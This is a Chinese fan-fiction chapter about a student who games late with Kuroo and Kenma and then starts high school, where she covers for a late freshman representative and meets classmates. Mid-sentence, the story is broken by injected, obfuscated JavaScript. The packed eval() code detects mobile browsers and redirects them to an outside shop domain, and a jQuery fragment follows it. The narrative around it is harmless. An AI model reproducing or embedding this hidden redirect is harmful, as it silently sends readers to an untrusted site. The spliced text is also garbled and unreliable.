我们打游戏打到将近一点。副本的机制摸了好几遍才打明白,中间自暴自弃赌一把的时候也不是没有,怪物还没有放大招就直接三猫的情况很多。一点点把怪物最后的血条磨完,我们仨齐齐松了口气。
“打完了...已经一点多了吗,还好我家里人睡得早。”黑尾在电话那头说:“如果发现我打游戏到这个点又要唠叨。明天晨跑我大概是起不来了,幸好明天不用上课。”
“明天...不对,我们要去学校。”刚打完副本,我精神还有点萎靡,看到日程表之后整个人被吓得一激灵,日程上明明白白写着明天是返校日:“不会吧,我竟然一点都没注意到...什么东西都没准备...”
孤爪似乎在吃零食,有零食包装被打开的声音。我听见他咀嚼的声音停下来,似乎在确认,过了一会才如释重负:“是明天没错...但是我们今天才刚过了一个小时吧...”
电话那头传来了黑尾的憋笑声。
我的大脑逐渐冷却,这才意识到自己确实搞了个乌龙:“好像确实是这样...抱歉。还有一天真好哇,虽然时间已经很近了,但是这种莫名其妙多出一天的感觉像是被馈赠了一样。”
“不用在意这种事情啦,说起来开学第一天只上半天课而已。”身为二年级的黑尾在旁边安慰:“放轻松放轻松!”
我们又聊了一些有的没的,大多是我和黑尾在说话,孤爪那边只能听见吃东西的声响。
------------------------------------------------------
终于来到开学日。
我的作息最后还是没有调整过来,开学前一晚翻来覆去睡不着觉,神经质地一遍遍检查明天要带的东西有没有遗漏,直到天快亮的时才闭上眼睛。
或许是心里想着事情,第二天倒是没有晚起,只不过精神萎靡得很。我给自己灌了杯咖啡,强打精神出门。
在公告栏的地方已经张贴了分班结果,我在一年级三组,同班里认识的人只有从前篮球部的绿间真太郎,新邻居孤爪研磨和...村重结月。
印象里她是隔壁班的同学,因为长相出众所以在年级里还蛮受瞩目的...只是我和她确实没什么交集,所以只是耳闻过她的某些传闻。
传闻从来做不得真。说起来我身上也有不少不算好听的传闻,只不过当时已经进入了国三,白天上课放学补习班,根本没有心力管这些,具体传成什么样子我也没有在意。
一年三组的教室里闹哄哄的。今天是第一天报道,黑板上贴着座次表。
靠窗的倒数第三排,不是最后一排啊...总感觉夏天会很晒。我到的略晚,前后桌都坐了人。前桌正低头,手伸在在桌洞里打游戏,后桌则是趴在桌上不知道在想什么。
开学就打游戏吗,很有精神。我路过的时候多看了他几眼。对方似乎是对目光很敏感的类型,抖了一下,把游戏机往桌洞里伸了伸。
总感觉受惊的样子很熟悉。我坐下后伸手戳了戳前桌的后背:“孤爪君?”
前桌一惊,像是被吓到了一样,转过头来。他目光躲闪,闷闷地说:“早上好...Natsuki。”
这种网友面基的尴尬感是怎么回事,孤爪君我们难道不是线下相互交换的line吗?
也许是教室人太多,又是开学第一天的缘故。不管怎么样,看样子邻居是非常内向的人啊...我腹诽,但是坐着实在没意思,我于是趴在桌上和他聊天:“叫我知夏或者小夏就好啦,大家都这么叫我,Natsuki算是网名。抱歉刚刚看见你打游戏了,说起来,你玩的是什么游戏?”
“嗯...知夏。你也可以叫我研磨。”他目光躲躲闪闪,吐出游戏的名字:“...旷野之息。”
是ns啊...我遗憾败退。这款游戏机在毕业的时候刚发售,非常缺货。彼时杏子还和我吐槽这个游戏机难抢,后来我在假期里也尝试蹲了几次,都是上架秒空。
我曾和桃井去电器店里抽签,去了几家店都没有中签。即使在去之前专门咨询绿间,专门带上星座专属幸运物也无济于事。
更让人生气的是,赤也在部活结束之后也去我们去的那个电器店抽了一次,只一次就抽中了。
我恨欧皇。
身边打游戏的人本来就不多,现在竟然接连出现了两台ns,果然还是我这个人幸运值比较低吧。
好幸运啊!我抢了好久都没有抢上!”我碎碎念,嘴上是羡慕其实也有点嫉妒:“线上秒空,线下也抽不到...可恶!明明带了朋友一起去拉高成功率的,结果没有一个人中签!塞尔达好玩吗?”
研磨点点头。他原本是把脸侧对着我,现在倒是转过来低头看桌子了,看样子稍微放松了一点:“好玩,你可以试试...等你买到ns的时候。”
“...”我幽怨地瞅了他一眼。
“会买到的。”他小小声补充,目光很短暂地瞟了我一眼:“我有存上货比较快的几个网店的链接,一会发给你。”
天哪,他是天使。前桌背后似乎出现了圣光,白色的羽翼徐徐展开,世界上怎么会有这么可爱又善良的人。
似乎被我感激的目光看着无所适从,他肩膀垮下来一点点:“老师来了。”
[孤爪研磨]:[链接][链接][链接]
[孤爪研磨]:这几家上货都会提前几分钟上货,可以提前五分钟蹲点。
[Natsuki]:了解!
[Natsuki]:送你心心.gif
班主任是个和气的年轻教师,简单说了几句时候让我们排队去体育馆参加开学典礼。
原本就没有精神,回荡在礼堂里面的广播声更是让人昏昏欲睡。我困得站不住,正没有精神的时候,班主任忽然小声喊我过来。
“今年的新生代表岩津同学迟到了...菅原同学方便代替她一会进行新生代表发言吗?”班主任花园老师时不时向着礼堂外张望,压低声音问我:“是有一点仓促,我找了几篇稿子,过一会会有老师把打印件送过来...”
“顺着读下来就没有问题!”花园老师为我鼓劲。
现在说怯场或者没睡好已经没有意义了,我面色沉重地接下这个限时任务,在礼堂外转来转去熟悉稿子。
背书,背书。看流程大约还有五六分钟就到新生代表发言了,我正磕磕绊绊背稿子,因为没睡好,背得东一块西一块,正着急,抬眼看见有两位穿着校服的人往礼堂这边跑来。
希望中间有一位是岩津同学。
花园老师和他们说了什么,又和我说了原委,最后让我们三个人回到队伍的最后排。
短发的女孩大约是一路跑过来的,喘了好一会才渐渐平复下来。她哭丧着脸向我道谢:“我坐错了车...超抱歉!不好意思这位同学,因为我的缘故麻烦你临时准备。”
我完全不生气,岩津同学你能来到就是好事。
我摆摆手,“没事啦...岩津同学能赶上就好,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831192|211337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
昨天没休息好,临场准备完全不行。倒不如说岩津同学能及时来到才是帮大忙了。”
说完之后岩津同学似乎还有点紧张,我刚想开口安慰,典礼的流程已经来到了新生代表发言。
她上台似乎卡了卡,之后流畅地背出了她的演讲稿。
我再次陷入将睡未睡的状态,站在我前面的绿间忽然转头问:“菅原你这次考了第二名吗?”
绿间和我硬要说的话也能算得上是一句青梅竹马。我们从幼儿园就是同班,这种缘分一直持续到国中毕业。上学的时候天天打照面,混个脸熟的同时自然也少不了竞争——排除神一般的赤司不谈,我和绿间的偏差值一直不分上下。
我露出志得意满的微笑:“这是当然。险胜绿间君,真的非常不好意思。”
绿间不屑一顾:“升学考的时候运势不好罢了。”
我俩还没说几句,人群忽然吵闹起来。我往外张望,但受制于身高,就算踮着脚什么都看不见。我戳戳绿间:“绿间你能看见发生了什么吗?”
绿间的语气有些不确定:“好像刚刚的岩津同学身体有些不舒服,吐了。”
“吐在了班主任的身上。”
“...好,好糟糕的开局啊,各种意义上。”
------------------------------------------------------
开学仪式之后我们陆续回到班里,刚进班就看见岩津同学坐在座位上发呆。
说起来,今天发生的事情确实很尴尬...我想想,为了感谢她今天及时来到,还是上前打个招呼比较好。
“岩津同学?”我尝试和她搭话:“身体好些了吗?”
她呆呆地抬头看我:“吐完之后就好多了...”
“那就好。说起来,刚刚还没来得及自我介绍,我是菅原知夏,叫我知夏或者小夏就好了。”我晃晃手机:“岩津同学是新生代表,真的很厉害!可以和我加line吗?”
“哦,哦!叫我美津末就好了。”我们交换了联系方式,她似乎稍微开心一点了。
这是以第一名入校的人啊...搞好关系之后一起学习,相互讨论相互提升,之后把绿间远远甩在身后,计划通!我给自己在心里点赞。
还想聊点什么,身后又有人叫住美津末。我转头看,是和她一起跑过来的那个男生,长着一张池面脸。
是和黄濑一样的类型吗...我回想起黄濑在异性缘方面的血雨腥风体质,识趣地回到座位上。离发光体还是远一些更好。
------------------------------------------------------
班主任讲了教材和课程的安排,之后让我们填过个人资料,又说了些校规校纪、日常作息之类的问题,然后是发书、发证、领储物柜的钥匙等,啰啰嗦嗦说完之后就到了放学时间。
回家啊...说起来我和研磨顺路,又是前后桌,一声不吭走了是不是不太好。
我又看看前桌埋头打游戏的样子,他大约是想错开人流回家,现在也没有动弹。
明智的选择,这也方便了和他一条路线回家的我。不用路上纠结要不要打招呼,也不用纠结是否需要找话题,省心又省事。邻居君你是社恐真的太好了。
但是必要的礼貌性告别还是要有的。“那我先回家了,研磨。”我挥挥手:“明天见。”
“嗯,明天见。”他挥挥手。